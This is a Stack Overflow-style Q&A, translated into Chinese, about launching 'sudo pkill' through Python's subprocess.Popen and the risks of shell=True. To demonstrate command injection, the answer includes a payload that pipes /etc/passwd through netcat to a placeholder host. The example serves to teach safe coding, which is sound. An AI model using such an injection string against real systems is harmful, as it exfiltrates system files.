2015-12-03 80 views
0

我試圖殺死之前啓動的特定python進程,我們稱之爲test.py
終止它的命令是:sudo pkill -f test.py - >像一個魅力。通過python子進程啓動linux命令無法正常工作

試圖然而,當通過Python代碼來啓動:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到OSError: [Errno 2] No such file or directory

任何想法,我做錯了堆棧跟蹤?

+0

你需要使用'os。killpg'殺死一個進程。爲此你需要這個過程的'pid'。 – jayant

+1

@jayant'sudo'部分將很難模擬使用系統調用... – user4815162342

回答

3

默認情況下,subprocess.Popen將會將字符串參數解釋爲確切的命令名稱。所以,你傳遞一個字符串foo bar,它將嘗試找到一個名爲foo bar的可執行文件,並在不帶參數的情況下調用它。與交互式shell不同,它將使用單參數bar執行命令foo而不是

當你鍵入foo "bar baz"foo | bar成殼,它是分裂的說法線成單詞和解釋這些詞的命令名稱,參數,管道分隔符,重定向操作符等,爲subprocess.Popen做最簡單的方法殼這種輸入解釋相同的是利用shell=True來請求參數通過一個外殼進行傳遞:

subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE) 

不幸的是,noted in the documentation,這種方便快捷帶來了安全隱患。使用shell=True是安全的,只要命令運行是固定的(並且忽略允許顯然無密碼的明顯安全含義sudo。)問題出現時,參數是從其他來源的片段彙編而來。例如:

# XXX security risk 
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True, 
       stdout=subprocess.PIPE) 

在這裏,我們正在閱讀從網絡連接參數,並拼接成傳遞到外殼的字符串。除了惡意製造的同伴能夠殺死系統上的任意進程(作爲root)的顯而易見的問題之外,它實際上比這更糟糕。由於shell是一個通用工具,攻擊者可以使用command substitution以及類似的功能來讓系統做任何想做的事情。例如,如果套接字發送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name),該Popen以上將使用shell執行:

sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name) 

這就是爲什麼通常建議不要在不可信的輸入使用shell=True。一個更安全的替代方案是爲了避免運行shell:

# smaller risk 
cmd = ['sudo', 'pkill', '-f', socket.read()] 
subprocess.Popen(cmd, stdout=subprocess.PIPE) 

在這種情況下,即使一個惡意節點滑倒奇怪的東西到字符串,它不會是一個問題,因爲它會被逐字發送到要執行的命令。在上面的示例中,pkill命令將獲得一個請求,以終止名爲$(cat ...)的進程,但是沒有shell會解釋此請求以在括號內執行該命令。

即使沒有shell,如果執行的命令(在這種情況下爲sudopkill)本身也容易受到注入攻擊,那麼調用帶有不可信輸入的外部命令仍然可能不安全。

+0

謝謝,但我聽說'shell = true'由於安全原因不推薦,也許有沒有'shell'的另一個解決方法? – JavaSa

+0

另外我想知道'shell = true'的確切含義, 我不確定我是否明白其確切含義 – JavaSa

+0

@JavaSa我已經擴展了答案以包含更多關於'shell = True'的信息。另外,請不要忘記查閱[文檔](https://docs.python.org/2.7/library/subprocess.html#frequently-used-arguments)。 – user4815162342